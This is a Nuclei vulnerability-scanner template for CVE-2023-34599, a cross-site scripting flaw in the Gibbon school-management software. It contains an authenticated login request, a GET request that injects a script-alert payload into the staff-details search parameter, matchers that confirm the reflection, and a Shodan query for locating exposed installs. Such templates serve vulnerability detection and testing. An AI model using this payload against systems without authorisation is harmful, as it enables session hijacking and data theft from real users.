nuclei-templates/http/cves/2023/CVE-2023-34599.yaml

85 lines
2.9 KiB
YAML

id: CVE-2023-34599
info:
name: Gibbon v25.0.0 - Cross-Site Scripting
author: ritikchaddha
severity: medium
description: |
Multiple Cross-Site Scripting (XSS) vulnerabilities have been identified in Gibbon v25.0.0, which enable attackers to execute arbitrary Javascript code.
impact: |
Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement.
remediation: |
Apply the latest security patches or updates provided by the vendor to mitigate this vulnerability.
reference:
- https://github.com/maddsec/CVE-2023-34599
- https://vulmon.com/searchpage?q=CVE-2023-34599
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2023-34599
cwe-id: CWE-79
epss-score: 0.00071
epss-percentile: 0.29238
cpe: cpe:2.3:a:gibbonedu:gibbon:25.0.00:*:*:*:*:*:*:*
metadata:
max-request: 2
vendor: gibbonedu
product: gibbon
shodan-query: http.favicon.hash:-165631681
tags: cve,cve2023,gibbon,xss,authenticated,intrusive,gibbonedu
http:
- raw:
- |
POST /login.php? HTTP/1.1
Host: {{Hostname}}
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary8m88nqhR1NAnQEYZ
------WebKitFormBoundary8m88nqhR1NAnQEYZ
Content-Disposition: form-data; name="address"
------WebKitFormBoundary8m88nqhR1NAnQEYZ
Content-Disposition: form-data; name="method"
default
------WebKitFormBoundary8m88nqhR1NAnQEYZ
Content-Disposition: form-data; name="username"
{{username}}
------WebKitFormBoundary8m88nqhR1NAnQEYZ
Content-Disposition: form-data; name="password"
{{password}}
------WebKitFormBoundary8m88nqhR1NAnQEYZ
Content-Disposition: form-data; name="gibbonSchoolYearID"
017
------WebKitFormBoundary8m88nqhR1NAnQEYZ
Content-Disposition: form-data; name="gibboni18nID"
0001
------WebKitFormBoundary8m88nqhR1NAnQEYZ--
- |
GET /index.php?q=/modules/Staff/staff_view_details.php&gibbonTTID=00000010&gibbonPersonID=0000000001&search=yyraq'><script>alert(document.domain)</script>oq7c8fmwwro&ttDate=05/23/2023&schoolCalendar=N&personalCalendar=N&spaceBookingCalendar=N&fromTT=Y HTTP/1.1
Host: {{Hostname}}
matchers-condition: and
matchers:
- type: word
part: body_2
words:
- "><script>alert(document.domain)</script>"
- gibbon
case-insensitive: true
condition: and
- type: word
part: header
words:
- text/html
- type: status
status:
- 200
# digest: 4a0a00473045022100fffdd22de4e7ab9d7d106e16b7c6e1c8e1c5ca41b2e72b1b5e17e8efe83155e702207417228b8ee573c7a2cd022265f9c342c14b543d11d12dc1ace42e1d03d8337a:922c64590222798bb761d5b6d8e72950